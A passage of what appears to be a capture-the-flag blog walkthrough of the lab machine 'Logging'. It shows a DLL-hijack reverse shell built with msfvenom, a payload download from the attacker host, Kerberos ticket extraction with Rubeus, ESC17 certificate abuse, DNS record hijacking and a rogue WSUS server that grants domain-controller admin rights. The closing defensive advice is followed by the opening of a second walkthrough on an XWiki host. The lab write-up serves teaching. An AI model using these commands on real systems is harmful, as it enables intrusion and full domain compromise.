The compromised msa_health$ account does not simply provide remote access; it also exposes administrative tooling responsible for monitoring scheduled tasks and reveals the existence of an automated process executing under another domain user's security context.

At this stage, no exploitation has occurred. Instead, the attackers have methodically gathered intelligence by examining the operational scripts left behind on the system. This disciplined approach has identified a high-value scheduled task, the executable it launches, its execution frequency, and — most importantly — the domain account responsible for running it.

These findings establish the foundation for the next phase of the assessment, where the UpdateChecker Agent and its associated executable will be analyzed in greater depth to determine whether they can be abused to compromise the jaylee.clifton account and continue the path toward full domain compromise.

Exploiting the Update Mechanism to Obtain User Access

• With an interactive shell established as msa_health$, the focus shifts from Active Directory enumeration to host-based privilege escalation. Earlier analysis of the UpdateChecker Agent scheduled task revealed that it executes every three minutes and launches a custom application named UpdateMonitor.exe under the security context of jaylee.clifton.

At this stage, several important questions remain unanswered:

What exactly does UpdateMonitor.exe do?

Does it process files from a writable location?

Can its update mechanism be manipulated?

Is there an opportunity to execute arbitrary code under jaylee.clifton's privileges?

• Rather than immediately attempting to replace binaries or abuse scheduled tasks, the investigation begins by understanding how the application operates.
• PowerShell provides an easy way to inspect its file properties:

Get-ItemProperty "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" | Format-List *

• The metadata confirms the executable’s location and provides useful information such as timestamps, file version, and other properties that may help identify whether the binary is custom-developed or part of third-party software.
• While metadata is informative, static analysis is considerably easier when performed locally. The executable is therefore downloaded from the target machine:

download "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"

Inspecting the Executable Locally

• Back on the attacker’s machine, the downloaded binary is verified:

ls

• The file utility is then used to determine the executable's architecture:

file UpdateMonitor.exe

• The output reveals: UpdateMonitor.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections
• This seemingly minor detail is actually quite important.
• The executable is a 32-bit (.NET) application rather than a native 64-bit executable. This information becomes relevant later when generating a malicious replacement DLL, since the payload architecture must match the process that loads it. Attempting to inject or load a 64-bit DLL into a 32-bit process would result in a failure.
• Although the executable itself could be reverse engineered further, additional clues can often be obtained simply by examining its log files.

Searching for Application Logs

Applications frequently write diagnostic information to predictable locations such as:

• C:\Windows
• C:\ProgramData
• C:\Users
• C:\inetpub
• C:\Logs

Rather than inspecting each directory manually, PowerShell is used to recursively search for log files beneath ProgramData :

Get-ChildItem -Path C:\ProgramData -Filter *.log -Recurse -File -ErrorAction SilentlyContinue

The search returns two results:

• C:\ProgramData\UpdateMonitor\Logs\monitor.log
• C:\ProgramData\VMware\logs\vmmsi.log

The VMware installation log is unrelated to the target application and can safely be ignored.

The UpdateMonitor log, however, is directly associated with the scheduled task discovered earlier.

Examining the UpdateMonitor Log

• The working directory is changed to the application’s log folder:

Set-Location C:\ProgramData\UpdateMonitor\Logs

• The most recent log entries are displayed:

Get-Content monitor.log -Tail 40

• Immediately, a repeating execution pattern becomes apparent.

Several important observations can be made from these log entries:

• The scheduled task runs every three minutes. The timestamps align perfectly with the execution schedule identified earlier through Task Scheduler.
• This confirms that the scheduled task executes automatically every three minutes without requiring user interaction. From an attacker’s perspective, this means any exploitable behavior can be triggered repeatedly with very little waiting.
• The application searches for updates. Each execution begins by checking two potential update sources:

Checking for update on core server...
Checking for update on local server...

• This strongly suggests that UpdateMonitor.exe implements an automated update mechanism.
• The next log entries provide even more insight:

Info: Core did not find file Settings_Update.zip
No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.

• The application appears to search for an archive named Settings_Update.zip
• If the archive is absent, no update is applied.
• The application attempts to load a DLL:
• Perhaps the most significant log entry appears near the end of every execution cycle:

Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll

• Immediately afterwards:

Failed to load settings_update.dll. Error code: 126

• Windows error code 126 corresponds to: The specified module could not be found.
• This reveals a critical weakness in the application’s update process. Rather than embedding all update functionality within the executable itself, the application dynamically attempts to load an external DLL named settings_update.dll
• Because the DLL does not currently exist, the application logs the failure before terminating normally. This behavior presents an obvious opportunity for DLL-based code execution.

Verifying Directory Permissions

• Before attempting to exploit the update mechanism, it is important to determine whether the current account can place files into the application’s directories.
• The permissions on the log directory are examined:

icacls .

• The output includes: BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)
• These permissions indicate that ordinary users possess write capabilities within this location.
• Combined with the application’s behavior, this strongly suggests that user-controlled files can influence the update process.
• Although the executable itself resides under Program Files, the application expects update packages to appear elsewhere before extracting and processing them.
• The log has already identified the expected filename: Settings_Update.zip
• The next step is therefore to create an update package that contains a malicious replacement DLL.

Preparing a Malicious Update Package

• Back on the attacker’s machine, a working directory is created:

mkdir www && cd www

• Since the application is a 32-bit process, the malicious DLL must also be compiled as a 32-bit payload. Using msfvenom, a reverse shell DLL is generated:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.230 LPORT=4444 -f dll -o settings_update.dll

• After generation, the working directory contains the malicious DLL:

ls

• The DLL is then packaged using the filename expected by the update mechanism:

zip Settings_Update.zip settings_update.dll

• Verifying the archive confirms that both files are present:

ls

• Finally, a lightweight HTTP server is started to host the update package:

python -m http.server

• Before transferring the archive, the VPN interface is checked to confirm the correct callback address:

ifconfig tun0

• The attacker is now prepared to deliver the malicious update.

Delivering the Update

• Returning to the WinRM session, the update package is downloaded onto the target:

Set-Location C:\ProgramData\UpdateMonitor

wget http://10.10.14.230:8000/Settings_Update.zip -o Settings_Update.zip

• A quick directory listing confirms that the archive has been successfully downloaded:

Get-ChildItem

• At this point, no further action is required. The scheduled task automatically executes every three minutes, discovers the newly available update archive, extracts the DLL, and attempts to load it. Because the DLL now exists and contains attacker-controlled code, the application unknowingly executes the embedded reverse shell.

Receiving the Reverse Shell

• Before the scheduled task executes again, a listener is started on the attacker’s machine:

rlwrap nc -lvnp 4444

• After waiting for the next execution cycle, the listener receives an incoming connection. The reverse shell is established successfully.
• Verifying the current security context confirms the attacker’s new identity:

whoami

The output returns:

• logging\jaylee.clifton
• The scheduled task has effectively been abused to execute arbitrary code under the account responsible for running UpdateMonitor.exe.
• The attack has now progressed from a managed service account to an interactive shell as jaylee.clifton.

Capturing the User Flag

• With user-level access established, the standard HTB user flag can now be retrieved.
• Navigate to the Users directory:

cd C:\Users

dir

• Change into jaylee.clifton's profile:

cd jaylee.clifton\Desktop

dir

• Finally, display the user flag:

type user.txt

• With the user flag captured, attention can now shift toward obtaining complete domain compromise.

Returning to BloodHound

• Although the objective of obtaining user access has been achieved, the engagement is not yet complete.
• Returning to BloodHound and inspecting jaylee.clifton reveals additional privilege relationships.
• Examining the user’s Outbound Object Control highlights its membership in the IT group.
• Investigating the IT group itself reveals a particularly interesting delegated privilege.
• Members of the IT group are authorized to enroll for a certificate using the UpdateSrv certificate template.

• At first glance, this may appear to be a standard Active Directory Certificate Services (AD CS) configuration. However, certificate templates have become one of the most common sources of privilege escalation within modern Active Directory environments. Misconfigured enrollment permissions can allow attackers to obtain certificates that authenticate as more privileged users without ever knowing their passwords.

Enumerating Active Directory Certificate Services

• With control of the jaylee.clifton account established and the user flag captured, the assessment enters its final phase. Earlier BloodHound analysis revealed that jaylee.clifton, through membership in the IT group, possesses enrollment rights over a certificate template named UpdateSrv.
• While this alone does not prove the template is exploitable, it provides a strong lead. Misconfigured Active Directory Certificate Services (AD CS) environments have become one of the most common privilege escalation vectors in modern Active Directory attacks. Improperly configured certificate templates can allow low-privileged users to request certificates that authenticate as other users or computers, effectively bypassing traditional password-based authentication.
• The next objective is to enumerate the Certificate Authority (CA) and its templates to determine whether the UpdateSrv template presents such an opportunity.
• To gather information about the Certificate Authority and all published certificate templates, Certipy is used.
• A dedicated working directory is first created to keep the generated files organized:

mkdir certipy_out && cd certipy_out

• The domain is then enumerated:

certipy-ad find -dc-ip 10.129.245.130 -u wallace.everette@logging.htb -p Welcome2026@

• Certipy successfully discovers the certificate infrastructure:

[*] Found 34 certificate templates
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Found 15 issuance policies

• Although the enumeration reports a temporary failure while connecting to the Remote Registry service, Certipy automatically retries the operation and successfully retrieves the Certificate Authority configuration:

[*] Successfully retrieved CA configuration for 'logging-DC01-CA'

• At the end of the enumeration, Certipy stores its findings in both text and JSON formats:

[*] Wrote text output to '20260725163425_Certipy.txt'
[*] Wrote JSON output to '20260725163425_Certipy.json'

• The generated JSON file contains information in a structured format, making it considerably easier to automate the discovery of interesting enrollment rights.
• Rather than manually reviewing every template, a filtering script is used to identify templates whose enrollment permissions deviate from Microsoft’s default recommendations.

Preparing the Enrollment Filter

• The filtering script is downloaded from GitHub:

wget https://raw.githubusercontent.com/IgnatiusRitu/Certipy-Enrollments-Filter/refs/heads/main/certipy_enrollment_filter.sh

• After downloading, execution permissions are added:

chmod +x certipy_enrollment_filter.sh

• With the script ready, the Certipy JSON report can now be analyzed.

Identifying Interesting Certificate Templates

• The enumeration script is executed against the generated JSON file:

./certipy_enrollment_filter.sh -f 20260724175822_Certipy.json

• The output highlights certificate templates whose enrollment permissions appear unusual.
• Among the results, one template immediately stands out: Template Name UpdateSrv
• The script reports the following enrollment rights:

• LOGGING.HTB\IT
  • LOGGING.HTB\Domain Admins
  • LOGGING.HTB\Enterprise Admins

• More importantly, it identifies an abnormal enrollment permission:

Abnormal Enrollment Rights:
  • LOGGING.HTB\IT

• This finding aligns perfectly with the BloodHound analysis performed earlier.

During the previous engagement, it was established that:

• jaylee.clifton is a member of the IT group.
• Members of IT are permitted to enroll using the UpdateSrv certificate template.
• The independent confirmation provided by the enumeration script increases confidence that this template deserves further investigation.
• Under normal circumstances, highly privileged certificate templates are restricted to administrators or other trusted accounts.
• Granting enrollment rights to a departmental group such as IT is unusual.
• This does not automatically make the template vulnerable. Many legitimate enterprise environments delegate certificate enrollment to operational teams.
• However, whenever a non-administrative group is granted enrollment rights over a certificate template, the template’s configuration should be examined carefully.

Attempting Native Vulnerability Enumeration

• Certipy includes built-in functionality for identifying vulnerable certificate templates.
• To verify whether the tool detects any exploitable configurations automatically, the enumeration is repeated using the -vulnerable option with a low-privilege user wallace.everette :

certipy-ad find -dc-ip 10.129.245.130 -u wallace.everette@logging.htb -p Welcome2026@ -vulnerable -stdout

• Certipy successfully enumerates the Certificate Authority.
• However, when Certipy reaches the template analysis stage, something unexpected occurs:

Certificate Templates                   : [!] Could not find any certificate templates

• Relying solely on the -vulnerable switch would incorrectly suggest that no interesting templates exist.
• Fortunately, the previously generated JSON report contains the complete certificate configuration, allowing manual analysis to continue despite the tool’s inability to classify the template automatically.

Enumerating the Vulnerable Certificate Template

• During the previous phase, both BloodHound and Certipy indicated that members of the IT group were permitted to enroll for certificates using the UpdateSrv template. However, despite identifying the template, Certipy’s built-in vulnerability detection failed to enumerate its configuration when authenticating as the low-privileged user wallace.everette.
• Now that control has been obtained over jaylee.clifton, a member of the IT group, the situation changes significantly. Rather than relying on LDAP enumeration alone, the objective is to obtain a Kerberos Ticket Granting Ticket (TGT) for jaylee.clifton and use Kerberos authentication when querying Active Directory Certificate Services.
• Using the account’s own Kerberos credentials provides a more accurate representation of its effective permissions and allows Certipy to enumerate certificate templates that were previously inaccessible.

Obtaining a Kerberos Ticket with Rubeus

• To retrieve the Kerberos ticket, Rubeus is downloaded to the attacker’s machine.
• A working directory containing the HTTP server is used:

cd www

ls

• The latest precompiled version of Rubeus.exe is downloaded:

wget https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_Any/Rubeus.exe

• After the download completes, the directory contents are verified:

ls

• The executable type is also confirmed:

file Rubeus.exe

• Once verified, a temporary HTTP server is started so the binary can be transferred to the compromised host:

python -m http.server

Transferring Rubeus to the Target

• Returning to the reverse shell running as jaylee.clifton, PowerShell is launched:

powershell

• A writable directory is selected:

Set-Location C:\ProgramData

• The executable is downloaded from the attacker’s web server:

wget http://10.10.14.230:8000/Rubeus.exe -o Rubeus.exe

• Finally, the download is verified:

Get-ChildItem

• The output confirms that Rubeus.exe has been successfully transferred to the target machine.

Extracting the Kerberos Ticket

• With Rubeus available, the tgtdeleg functionality is used:

./Rubeus.exe tgtdeleg /nowrap

• Unlike techniques that require elevated privileges to access LSASS memory, tgtdeleg abuses Kerberos delegation to request a usable Ticket Granting Ticket (TGT) for the current user without requiring administrator access.
• After execution, Rubeus outputs a Base64-encoded Kirbi ticket. The entire encoded ticket is copied from the console.

Converting the Ticket

• Back on the attacker’s machine, the Base64 ticket is saved into a file:

vi jaylee.clifton.kirbi.b64

• The ticket is then decoded and saved into another file:

cat jaylee.clifton.kirbi.b64 | base64 -d > jaylee.clifton.kirbi

• Most Linux Kerberos tooling — including Certipy — expects credentials in ccache format rather than Microsoft's Kirbi format.
• Impacket provides a utility that performs this conversion:

impacket-ticketConverter jaylee.clifton.kirbi jaylee.clifton.ccache

• At this point, a valid Kerberos credential cache for jaylee.clifton is available. Rather than authenticating with a username and password, future tools can authenticate directly using Kerberos.

Enumerating Certificate Templates Using Kerberos

• The generated credential cache is exported through the KRB5CCNAME environment variable so that Certipy automatically uses the stored Kerberos ticket:

KRB5CCNAME=jaylee.clifton.ccache certipy find  -dc-ip 10.129.245.130 -target DC01.logging.htb -k -vulnerable -stdout

• This time, the results are very different. Instead of failing to enumerate certificate templates, Certipy successfully displays the complete configuration of the UpdateSrv template.

Analyzing the UpdateSrv Template

• The template configuration contains several important attributes:

Template Name                       : UpdateSrv
Enabled                             : True

• This confirms that the template is currently published by the Certificate Authority and is available for enrollment.
• The enrollment permissions match the earlier BloodHound findings:

Enrollment Permissions
Enrollment Rights               : LOGGING.HTB\IT
                                  LOGGING.HTB\Domain Admins
                                  LOGGING.HTB\Enterprise Admins

• Since jaylee.clifton belongs to the IT group, the account is authorized to request certificates using this template.
• However, enrollment permissions alone are not sufficient to make a certificate template dangerous. The template’s configuration must also be examined.
• After evaluating the template, Certipy reports a vulnerability:

[!] Vulnerabilities
      ESC17                             : Enrollee supplies subject and template allows server authentication.
    [*] Remarks
      ESC17                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

Unlike earlier AD CS attack paths such as ESC1, the presence of ESC17 alone does not automatically guarantee privilege escalation. Successful exploitation depends on additional environmental conditions, such as how the issued certificate is trusted and how it is ultimately consumed by authentication services.

Nevertheless, the template satisfies the primary characteristics of an ESC17-vulnerable configuration:

• Members of the IT group are permitted to enroll.
• The requester is allowed to specify the certificate subject.
• Certificates are issued automatically without approval.
• The template supports Server Authentication.

Because jaylee.clifton is a legitimate member of the IT group, all prerequisites for requesting a certificate from this template have now been satisfied.

Exploiting ESC17 to Achieve Domain Compromise

• The previous phase concluded with the discovery that the UpdateSrv certificate template is vulnerable to ESC17. Although Certipy successfully identified the misconfiguration, exploitation requires more than simply requesting a certificate. The certificate must ultimately be trusted by a service that performs TLS authentication.
• To understand how the vulnerable certificate might be used, further host enumeration is performed on the compromised jaylee.clifton workstation. The objective is to identify applications or infrastructure that rely on certificates matching the UpdateSrv template.
• This final stage uncovers a Windows Server Update Services (WSUS) deployment that trusts certificates issued through the vulnerable template. By combining ESC17, Active Directory-integrated DNS manipulation, and a WSUS man-in-the-middle attack, it becomes possible to execute arbitrary commands as SYSTEM on the Domain Controller, resulting in complete domain compromise.

Searching for Additional Documentation

• Before attempting certificate abuse, the filesystem is searched recursively for any documentation or configuration files that might reveal how the environment is deployed:

Get-ChildItem -Recurse

• Among the discovered files is a directory containing support tickets.
• The investigation continues into the Documents\Tickets folder:

Set-Location Documents\Tickets

Get-ChildItem

• One file immediately stands-out: Incident_4922_WSUS_Remediation_ViewExport.html
• Rather than attempting to download the file directly through the current shell, it is first copied into a location accessible by the previously established msa_health$ session:

copy Incident_4922_WSUS_Remediation_ViewExport.html C:\ProgramData

Get-ChildItem C:\ProgramData

Retrieving the Incident Report

• Switching back to the msa_health$ WinRM session, navigate to the ProgramData directory:

Set-Location C:\ProgramData

Get-ChildItem

• The copied HTML document is now available. It is downloaded to the attacker’s machine:

download Incident_4922_WSUS_Remediation_ViewExport.html

• Back on Kali, verify that the download completed successfully:

ls

• The report is then opened in a browser:

open Incident_4922_WSUS_Remediation_ViewExport.html

Discovering the Internal WSUS Server

• Reviewing the incident report provides an important piece of information that has not appeared elsewhere during the assessment.

• The documentation references an internal server named: wsus.logging.htb
• This is a significant discovery. The certificate template previously identified is named UpdateSrv, suggesting that it was likely created specifically for Windows Server Update Services.
• If WSUS authenticates using certificates issued by this template, then controlling DNS resolution for wsus.logging.htb could allow an attacker to impersonate the legitimate update server.
• Before pursuing this attack, however, it is necessary to determine whether the current account has sufficient privileges to manipulate Active Directory-integrated DNS.

Verifying Writable Active Directory Objects

• Using the Kerberos credential cache previously extracted from jaylee.clifton, BloodyAD is used to enumerate writable Active Directory objects:

KRB5CCNAME=jaylee.clifton.ccache bloodyAD --host DC01.logging.htb -d logging.htb -k get writable

The output reveals writable DNS zones:

• The CREATE_CHILD permission over the DNS zone allows new DNS records to be created.
• This capability is exactly what is needed to redirect clients toward an attacker-controlled WSUS server.

Hijacking the WSUS DNS Record

• A new DNS record is created for wsus.logging.htb, pointing it to the attacker's VPN address:

KRB5CCNAME=jaylee.clifton.ccache bloodyAD --host DC01.logging.htb -d logging.htb -k add dnsRecord 'wsus' 10.10.14.230

• At this point, any system resolving wsus.logging.htb through Active Directory-integrated DNS will receive the attacker's IP address (our IP address).
• The remaining requirement is a certificate trusted for that hostname.

Requesting a Certificate

• Using the vulnerable UpdateSrv certificate template identified earlier, a certificate is requested for wsus.logging.htb:

KRB5CCNAME=jaylee.clifton.ccache certipy-ad req -u jaylee.clifton -k -dc-ip 10.129.245.130 -target DC01.logging.htb -ca logging-DC01-CA -template UpdateSrv -dns wsus.logging.htb

• The request generates a PKCS#12 certificate bundle: wsus.pfx
• Since the exploitation tool expects a PEM-formatted certificate, the PFX file is converted using OpenSSL:

openssl pkcs12 -in wsus.pfx -out wsus.pem -nodes --passin pass:

• The resulting wsus.pem file contains both the certificate and its associated private key.
• This certificate will allow the attacker’s server to impersonate the legitimate WSUS server during TLS communication.

Installing WSUKS

• To perform the WSUS man-in-the-middle attack, the WSUKS tool is installed.
• A dedicated Python virtual environment is created:

python -m venv wsuks_env

• Activate the environment:

source wsuks_env/bin/activate

• Install the required dependencies:

sudo apt install pipx python3-nftables

• Ensure the user’s local binaries are available:

pipx ensurepath

• Install WSUKS:

pipx install wsuks --system-site-packages

• Finally, create a symbolic link so the executable is available system-wide:

sudo ln -s ~/.local/bin/wsuks /usr/sbin/wsuks

Launching the Rogue WSUS Server

• The objective is simple. When the Domain Controller contacts what it believes is the legitimate WSUS server, it should instead connect to the attacker’s server.
• Rather than distributing a software update, WSUKS is instructed to execute a command that adds wallace.everette to the local Administrators group.
• The rogue WSUS server is started:

sudo wsuks -t DC01.logging.htb --WSUS-Server wsus.logging.htb --tls-cert wsus.pem -I tun0 --serve-only -c '/accepteula /s cmd /k "net localgroup administrators /add wallace.everette"'

• Initially, the tool reports that it cannot resolve wsus.logging.htb.
• This occurs because the attacker’s own machine is not using Active Directory DNS.

Updating the Local Hosts File

• The local hosts file is inspected:

cat /etc/hosts

• A new entry mapping wsus.logging.htb to the attacker's IP address is added:

sudo vi /etc/hosts

• The modification is verified:

cat /etc/hosts

• With name resolution corrected locally, WSUKS is started again:

sudo wsuks -t DC01.logging.htb --WSUS-Server wsus.logging.htb --tls-cert wsus.pem -I tun0 --serve-only -c '/accepteula /s cmd /k "net localgroup administrators /add wallace.everette"'

• This time the rogue server initializes successfully.
• It begins serving the malicious update:

[*] Using TLS certificate 'wsus.pem' for HTTPS WSUS Server
[*] Starting WSUS Server on 10.10.14.230:8531...
[*] Serving executable as KB: 6851547

• Moments later, incoming requests begin appearing:

[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo"

• Finally, the target downloads the payload:

[+] Received GET request: /92accfaf-30c4-48eb-a00e-b6c6f5fd9dc0/PsExec64.exe
[+] GET request for exe: /92accfaf-30c4-48eb-a00e-b6c6f5fd9dc0/PsExec64.exe

• This confirms that the Domain Controller has accepted the rogue WSUS server as legitimate and has begun processing the malicious update.
• Although WSUKS reports several runtime errors afterwards, the exploitation has already completed successfully.

Verifying Administrative Access

• Instead of relying solely on WSUKS output, the attack is verified independently.
• SMB authentication is tested using the original wallace.everette credentials:

nxc smb DC01.logging.htb -u wallace.everette -p 'Welcome2026@'

• The result is immediate (Pwn3d!)
• This indicates that the account now possesses local administrative privileges on the Domain Controller.
• WinRM authentication confirms the same result.

nxc winrm DC01.logging.htb -u wallace.everette -p 'Welcome2026@'

• Again, NetExec reports (Pwn3d!)
• The attack has succeeded

Logging in as an Administrator

• With administrative rights now assigned, a new WinRM session is established:

evil-winrm -i 10.129.245.130 -u wallace.everette -p Welcome2026@

• The current identity is verified:

whoami

• Membership of the local Administrators group confirms the privilege escalation:

net localgroup administrators

The output now includes:

Administrator
Domain Admins
Enterprise Admins
toby.brynleigh
wallace.everette

• The original low-privileged user has successfully become a local administrator on the Domain Controller.

Capturing the Root Flag

• Administrative privileges now permit unrestricted access to protected user profiles.
• Navigate to the Domain Administrator’s profile:

Set-Location C:\Users\Administrator

• Enumerate the directories:

Get-ChildItem -Recurse

• Nothing here!

• Proceed to the second Domain Administrator’s profile:

Set-Location C:\Users\toby.brynleigh

• Enumerate the directories:

Get-ChildItem -Recurse

• root.txt is located in the Desktop folder
• Finally, Display the root flag:

Get-Content Desktop\root.txt

Conclusion

The Logging machine is an excellent demonstration of how attackers rarely rely on a single vulnerability. Instead, they patiently chain together multiple weaknesses, each one providing just enough leverage to reach the next stage until complete compromise becomes inevitable.

Our attack path looked like this:

Assumed Breach Credential → LDAP Enumeration → Password Reset Abuse → gMSA Permission Abuse → Managed Service Account Compromise → DLL Hijacking via Update Mechanism → User Shell → AD CS Enumeration → ESC17 Certificate Abuse → WSUS MITM → Local Administrator → Domain Compromise

Individually, none of these issues would necessarily spell disaster. However, when combined, they created a realistic attack path that allowed an unprivileged domain user to eventually gain administrative control over the Domain Controller.

From a defensive perspective, several improvements would significantly reduce the attack surface:

• Enforce the principle of least privilege and regularly audit delegated Active Directory permissions.
• Carefully review GenericWrite, GenericAll, WriteDACL, and similar object control permissions using tools such as BloodHound.
• Restrict who can modify the PrincipalsAllowedToRetrieveManagedPassword attribute for Group Managed Service Accounts.
• Secure scheduled tasks and software update mechanisms by validating update packages and digitally signing executable content.
• Harden Active Directory Certificate Services by auditing certificate templates for dangerous enrollment configurations such as ESC17.
• Properly secure WSUS deployments using certificate pinning, trusted server validation, and network segmentation to prevent update spoofing.
• Regularly review privileged group memberships and remove unnecessary administrative access.
• Continuously monitor Active Directory for unusual permission changes, certificate enrollments, DNS modifications, and privilege escalation events.

Perhaps the biggest lesson from this machine is that enumeration is often more valuable than exploitation. Every major breakthrough came from observing something that initially appeared insignificant — a writable object, an overlooked service account, an unusual scheduled task, a missing DLL, or an unexpected certificate template. Careful observation consistently opened the next door.

Overall, Logging is an outstanding Active Directory challenge that blends multiple modern attack techniques into one coherent exploitation chain. It rewards curiosity, patience, and methodical enumeration while providing valuable insight into how seemingly isolated configuration mistakes can interact to produce catastrophic security consequences.

Thanks for following along — I hope this walkthrough was as enjoyable to read as it was to solve.

¡Hasta luego, y recuerda: los administradores duermen… pero BloodHound nunca! 🇪🇸🍻

References

• RustHound-CE Official Repository
• RustHound-CE Required Dependencies
• BloodHound Docker Compose Guide
• BloodyAD Issue #117 — gMSA Group Membership Discussion
• ESC17 Wiki
• ESC17 — WSUS DNS Abuse Walkthrough
• WSUKS Installation Guide

The Editor machine is a Linux host, running a web-based code editor alongside documentation powered by XWiki. XWiki integrates Apache Solr for search functionality, and in this deployment, an outdated and misconfigured version leaves the system exposed to unauthenticated server-side Groovy script injection. By leveraging this vulnerability, it becomes possible to execute arbitrary code remotely and obtain a shell on the server. From there, plaintext database credentials found in XWiki’s Hibernate configuration allow pivoting to a local user who reuses the same password. Further enumeration reveals an older NetData installation containing a vulnerable SetUID ndsudo binary susceptible to PATH injection. Exploiting this flaw provides full root access, completing the compromise chain.

About Editor

• OS: Linux
• Difficulty: Easy
• Release Date: 02 Aug, 2025

Environment Setup and Connectivity Verification

• Create the project workspace:

mkdir -p ~/HTB/Editor && cd ~/HTB/Editor

• Verify the target host’s availability:

ping -c3 10.10.11.80

• Check the VPN tunnel interface IP address:

ifconfig tun0

Network Enumeration and Service Fingerprinting

• A detailed network scan was conducted to identify exposed services, determine their versions and assess potential attack vectors on the target host:

sudo nmap -sCV -vv -oN editor.nmap 10.10.11.80

Key Findings and Analysis

• Host Discovery and OS indicators: The host responded with a TTL of 63, which aligns with the default Linux-based networking stacks. Combined with the SSH banner, this stronly suggests the system is running Ubuntu Linux and is likely one hop away on the VPN network.
• Port 22/tcp — OpenSSH 8.9p1: Remote shell access is available.
• Port 80/tcp — nginx 1.18.0: An immediate redirect to http://editor.htb/ was detected. This implies the server is configured for name-based virtual hosting.
• To properly interact with the application, the hosname must be added to the system’s hosts file:

10.10.11.80 editor.htb

• Port 8080/tcp — Jetty 10.0.20 Hosting Xwiki: An initial resource was requested at http://10.10.11.80:8080/xwiki/bin/view/Main/. This indicates that port 8080 hosts an installation of XWiki, likely associated with the SimplistCode Pro Editor documentation based on later redirects.
• robots.txt reveals 50 restricted XWiki endpoints.
• JSESSIONID cookie detected without the HttpOnly flag, confirming the server uses a Java-based backend, as expected for Jetty/XWiki.

Virtual Host Enumeration Using Gobuster

• To discover alternate domains and subdomains VHost enumeration was performed using gobuster:

gobuster vhost --url http://editor.htb -wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --threads 100 -output vhosts.txt

• The scan identified only one virtual host wiki.editor.htb.
• The subdomain was added to the system hosts file:

10.10.11.80 editor.htb wiki.editor.htb

• Navigating to http://wiki.editor.htb/ automatically redirected to the documentation wiki.

Analysis of the Primary Site

• Accessing the main domain revelas a marketing page for a code editor product called SimplistCode Pro, described as a lightweight IDE targeted at developers.

• Examining the page source, theindex-VRKEJlit.js script under /assets includes:

 @license React
 * react.production.min.js

• This confirms the frontend is built using React, a modern JavaScript Framework.
• Additional validation done using Wappalyzer, also identified React along with other supporting technologies.

• The homepage includes a Docs link, which redirects users to http://wiki.editor.htb/xwiki/bin/view/Main/

The wiki documentation page presents:

• A detailed introduction to the product.
• Technical description (built with Python and Tkinter).
• Installation references.
• Feature overview including syntax highlighting, terminal integration and theming.
• Discloses the banner XWiki Debian 15.10.8, indicating the running version of the XWiki platform. We’ll check for vulnerabilities later!

• The About page on http://editor.htb/about presents a detailed description of the development team and the philosophy behind the editor. Nothing useful here! We proceed.

Application Artifact Analysis

• The main application page provides downloadable artifacts for the SimplistCode Pro editor, including both a Debian package and a standalone executable.
• After downloading the Debian package, it was extracted for inspection. Inside the package the primary executable identified was the simplistcode binary alongside other files (control and debian-binary text files).

• To gain additional insight, the binary was examined using strings:

strings simplistcode

• The output contained a significant number of Python-related strings, strongly indicating that the application was packaged using PyInstsaller, a common bundling tool for Python applications. This reinforces the product description claiming the editor is built in Python.

Directory Enumeration

• A directory enumeration scan was performed to identify additional hidden or unlinked resources:

gobuster dir --url http://editor.htb --wordlist /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --threads 100 --no-error --output dir_enum.txt

• The only significant discovery was the /assets directory.

• However, navigating to http://editor.htb/assets/ returns 403 Forbidden, indicating directory listing is disabled.

• A deeper recursive scan against /assets did not reveal any directly accessible files beyond what was already identified through page source analysis:

gobuster dir --url http://editor.htb/assets --wordlist /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --threads 100 --no-error

• Further enumeration against the wiki domain also did not produce meaningful results:

gobuster dir --url http://wiki.editor.htb --wordlist /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --status-codes-blacklist 302,404 --threads 100 --no-error

• Attempting to access a non-existent path such as http://editor.htb/nato, returns a standard 404 Not Found Nginx Error page.

XWiki Instance Enumeration and Exploitation Analysis

Since we had the version of XWiki platform (XWiki Debian 15.10.8), an assessment was conducted to determine whether this version is associated with any known exploits:

• A matching exploit was identified on ExploitDB.
• A corresponding entry was also found on nvd.nist.gov and cvedetails.com platforms.

• The following payload was used to test for remote code execution, it prints the contents of /etc/passwd:

